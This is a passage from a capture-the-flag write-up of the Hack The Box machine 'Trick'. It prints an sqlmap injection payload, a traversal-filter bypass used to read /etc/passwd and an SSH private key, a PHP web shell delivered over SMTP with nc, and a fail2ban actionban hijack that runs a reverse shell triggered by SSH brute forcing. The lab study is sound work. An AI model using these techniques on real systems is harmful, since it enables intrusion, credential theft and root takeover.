    Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc
---
files saved to [1]:
[*] /home/haxez/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd 

Let’s check out the passwd file.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ cat /home/haxez/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

We can also use this method to read the ‘/etc/nginx/sites-enabled/default’ file. Now we can see what other sites are hosted on the server. As you can see, we have found another domain preprod-marketing.trick.htb. By the way, I wouldn’t have thought to check this file, we are on our third domain. I probably would have given up if I couldn’t get in with SQLI.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ cat _etc_nginx_sites-enabled_default
server {
	listen 80 default_server;
	listen [::]:80 default_server;
	server_name trick.htb;
	root /var/www/html;
	index index.html index.htm index.nginx-debian.html;
	server_name _;
	location / {
		try_files $uri $uri/ =404;
	}
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/run/php/php7.3-fpm.sock;
	}
}
server {
	listen 80;
	listen [::]:80;
	server_name preprod-marketing.trick.htb;
	root /var/www/market;
	index index.php;
	location / {
		try_files $uri $uri/ =404;
	}
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}
server {
        listen 80;
        listen [::]:80;
        server_name preprod-payroll.trick.htb;
        root /var/www/payroll;
        index index.php;
        location / {
                try_files $uri $uri/ =404;
        }
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

Trick Preprod-Marketing Server Side Includes

Let’s echo that new subdomain/virtual host to our hosts’ file.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ echo '10.129.245.209 preprod-marketing.trick.htb' | sudo tee -a /etc/hosts
10.129.245.209 preprod-marketing.trick.htb

So, we can now visit this site and see what’s occurring. The image below shows the site and something interesting about the way it is retrieving the about page. As you can see below, rather than having a path to the file like “example.com/about.html” it is using a PHP parameter to retrieve the page. This is suspicious and it is likely performing a server-side include. Hopefully, we can exploit this to perform local file inclusion.

http://preprod-marketing.trick.htb/index.php?page=about.html

First, I attempted to grab the ‘/etc/passwd’ file using the standard ‘/../../../etc/passwd’. However, this didn’t work so I assumed that there was some type of filtering taking place. Next, I doubled down on this attack and doubled up our characters we are able to perform local file inclusion to get the /etc/passwd file. This is great but it doesn’t really get us anything. We can’t upload a shell to the server.

http://preprod-marketing.trick.htb/index.php?page=//....//....//....//....//....//....//....//....//etc/passwd
Loca File Inclusion

SMTP Magic Trick

Do you want to see a magic trick? remember that SMTP port earlier? well, we can use it to write a shell that we can then call with the local file inclusion. Yeah, I was amazed by this. So we need to nc back to the SMTP port and craft an email.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ nc trick.htb 25
helo
220 debian.localdomain ESMTP Postfix (Debian/GNU)
mail from: haxez
250 2.1.0 Ok
rcpt to: michael
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 4935F4099C

Next, we create our listener so that when our reverse shell comes back from our PHP Web Shell, it has a friend to talk to.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sudo nc -lvnp 1337
listening on [any] 1337 ...

And finally, we run the command that tricks the system into connecting back to us. Then we should be able to use the PHP Web Shell to get a reverse shell. But, the instructions in the official walkthrough don’t work. This is a pretty common and unfortunate occurrence, unfortunately. You would expect the official walkthrough to be correct, wouldn’t you?

No shell, fail

Moving On

It’s a shame that this didn’t work, I have read another article where the hacker used the same technique and it worked but I can’t replicate it. So instead of banging my frustrated face up against a brick wall, I’m going to take the easy path. I will come back to this one later. We have local file inclusion and we know there is a user called Michael. Surely the webserver doesn’t have permission to access Michale’s private key.

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//home/michael/.ssh/id_rsa
Private key

And now we have SSH access.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Trick]
└──╼ [★]$ cd ~/
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ sudo vim ssh.key
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ sudo chmod 600 ssh.key
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ sudo ssh -i ssh.key [email protected]
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[email protected]:~$ 

Trick Privilege Escalation

Ok, we now have access to the Michael user. We can run sudo -l and see what we can run. As you can see below, we can restart the fail2ban service as root without a password.

[email protected]:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Ok, let’s take a look at the permissions within the fail2ban directory.

[email protected]:/etc/fail2ban$ ls -laSH
total 76
-rw-r--r--   1 root root     22908 Mar 14 10:18 jail.conf
drwxr-xr-x 126 root root     12288 Mar 14 09:53 ..
drwxr-xr-x   6 root root      4096 Mar 14 10:18 .
drwxrwx---   2 root security  4096 Mar 14 10:18 action.d
drwxr-xr-x   2 root root      4096 Mar 14 10:18 fail2ban.d
drwxr-xr-x   3 root root      4096 Mar 14 10:18 filter.d
drwxr-xr-x   2 root root      4096 Mar 14 10:18 jail.d
-rw-r--r--   1 root root      2827 Mar 14 10:18 paths-common.conf
-rw-r--r--   1 root root      2334 Mar 14 10:18 fail2ban.conf
-rw-r--r--   1 root root       738 Mar 14 10:18 paths-opensuse.conf
-rw-r--r--   1 root root       645 Mar 14 10:18 paths-arch.conf
-rw-r--r--   1 root root       573 Mar 14 10:18 paths-debian.conf

The ‘action.d’ directory stands out as its group owner is security. Let’s check our group and see if we are in that group.

[email protected]:/etc/fail2ban$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

Cool, what now? Apparently the iptables-multiport.conf has a command in it that gets run when a user gets banned. If we can modify this value then we can run our own command by triggering a ban. I presume that is what we’re meant to do. However, we can’t edit this file but we can move it.

[email protected]:/etc/fail2ban/action.d$ mv iptables-multiport.conf .old
[email protected]:/etc/fail2ban/action.d$ cp .old iptables-multiport.conf
[email protected]:/etc/fail2ban/action.d$ ls -l iptables-multiport.conf
-rw-r--r-- 1 michael michael 1420 Mar 14 10:26 iptables-multiport.conf

This is wild, we now own the file but when we restart fail2ban, any commands in this file will still be executed as root right? I think. This is confusing.

Fail2ban to shell

Now we modify the ‘iptables-multiport.conf’ file and change ‘actionban’ value to /tmp/shell.sh. Then we create ‘shell.sh’ in /tmp which has a reverse shell back to our host.

[email protected]:/etc/fail2ban/action.d$ cd /tmp
[email protected]:/tmp$ vim shell.sh
[email protected]:/tmp$ chmod +x shell.sh 
[email protected]:/tmp$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

We have now changed the behaviour of what happens when fail2ban tries to ban someone. Instead of banning them, it will launch our reverse shell. We can trigger this by brute-forcing SSH.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ crackmapexec ssh 10.129.245.222 -u haxez -p rockyou.txt
SSH         10.129.245.222  22     10.129.245.222   [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
SSH         10.129.245.222  22     10.129.245.222   [-] haxez:123456 Authentication failed.
SSH         10.129.245.222  22     10.129.245.222   [-] haxez:12345 Authentication failed.
SSH         10.129.245.222  22     10.129.245.222   [-] haxez:123456789 Authentication failed.
SSH         10.129.245.222  22     10.129.245.222   [-] haxez:password Authentication failed.
SSH         10.129.245.222  22     10.129.245.222   [-] haxez:iloveyou Authentication failed.
SSH         10.129.245.222  22     10.129.245.222   [-] haxez:princess Authentication failed.

After a while, we get a shell back which we can use to capture the root flag.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sudo nc -lvnp 1337
[sudo] password for haxez: 
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.245.222] 53330
bash: cannot set terminal process group (1799): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/# cat /root/root.txt

cat /root/root.txt
f8f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓694

Trick Review

I will keep this short as I have work today. it’s 9:50 so it didn’t take me long to complete but I wouldn’t have had a clue without the official walkthrough. This is yet another easy box which isn’t easy. Perhaps when I complete them all I will actually have a methodology to solve these crazy boxes. Anyway, it was fun I guess, I enjoyed the DNS enumeration and would have loved for the SMTP trick to work. Anyway, I’m done. Time to look for a new career because I clearly suck at hacking.